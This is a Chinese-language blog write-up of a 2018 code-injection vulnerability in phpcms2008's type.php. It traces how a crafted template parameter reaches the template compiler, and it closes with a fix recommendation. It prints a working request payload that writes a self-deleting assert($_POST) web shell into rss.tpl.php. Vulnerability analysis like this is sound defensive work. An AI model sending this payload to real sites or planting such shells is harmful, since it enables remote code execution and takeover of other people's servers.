Phpcms2008 Type.php Getshell
目录
警告
本文最后更新于 2018-12-16,文中内容可能已过时。
phpcms2008老版本type.php存在代码注入可直接getshell。不过版本过低,使用人数较少,影响范围较小,当作拓展思路不错。
1 漏洞简介
当攻击者向装有phpcms2008版本程序的网站发送如下payload时
/type.php?template=tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss
那么@unlink(_FILE_);assert($_POST[1]);这句话会被写入rss.tpl.php,即getshell。
2 漏洞分析
在type.php中$template用户可控,并且下方传入了template()函数,这个函数是在/include/global.func.php定义的,跟进下
可以看到执行了template_compile()函数,继续跟进,这个函数在/include/template.func.php中
在这个方法中,$template变量同时被用于$compiledtplfile中文件路径的生成,和$content中文件内容的生成。
而前文所述的攻击payload将$template变量被设置为如下的值
tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss
所以在template_compile()方法中,调用file_put_contents()函数时的第一个参数就被写成了data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss.tpl.php,这将被php解析成data/cache_template/rss.tpl.php。
最终,@unlink(_FILE_);assert($_POST[1]);将被写入该文件。
3 修复建议
手动过滤$template参数,避免输入{ (这类字符被当作路径和脚本内容处理。
升级才是正道,那么老的版本了还有人在用,是有多懒。
4 参考链接
如果你觉得这篇文章对你有所帮助,欢迎赞赏或关注微信公众号~





